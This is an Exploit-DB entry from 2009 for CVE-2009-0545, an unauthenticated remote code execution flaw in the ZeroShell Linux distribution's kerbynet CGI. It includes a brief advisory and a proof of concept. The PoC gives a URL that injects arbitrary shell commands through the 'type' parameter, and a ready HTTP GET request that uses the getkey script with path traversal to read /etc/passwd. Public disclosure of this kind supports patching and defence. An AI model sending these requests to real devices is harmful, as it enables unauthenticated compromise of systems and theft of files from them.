ZeroShell <= 1.0beta11 - Remote Code Execution Vulnerability

ID EDB-ID:8023
Type exploitdb
Reporter ikki
Modified 2009-02-09T00:00:00


ZeroShell <= 1.0beta11 Remote Code Execution Vulnerability. CVE-2009-0545. Remote exploit for hardware platform

ZeroShell &lt;= 1.0beta11 Remote Code Execution

Original Advisory:


ZeroShell ( is a small Linux distribution 
for servers and embedded devices. This Linux distro can be configured 
and managed with an easy to use web console.

ZeroShell is prone to an arbitrary code execution vulnerability due to
an improper input validation mechanism. An aggressor may abuse this 
weakness in order to compromise the entire system. 
Authentication is not required in order to exploit this flaw.

[Proof of Concept]
/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;&lt;CMD HERE&gt;;%22
In addition to the Unix commands, it is possible to abuse the 
ZeroShell scripts themself. For instance it is likely to use the 
"getkey" script in order to retrieve remote files, including the content
in the html page.
GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;
/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22 HTTP/1.1
Host: &lt;IP&gt;

# [2009-02-09]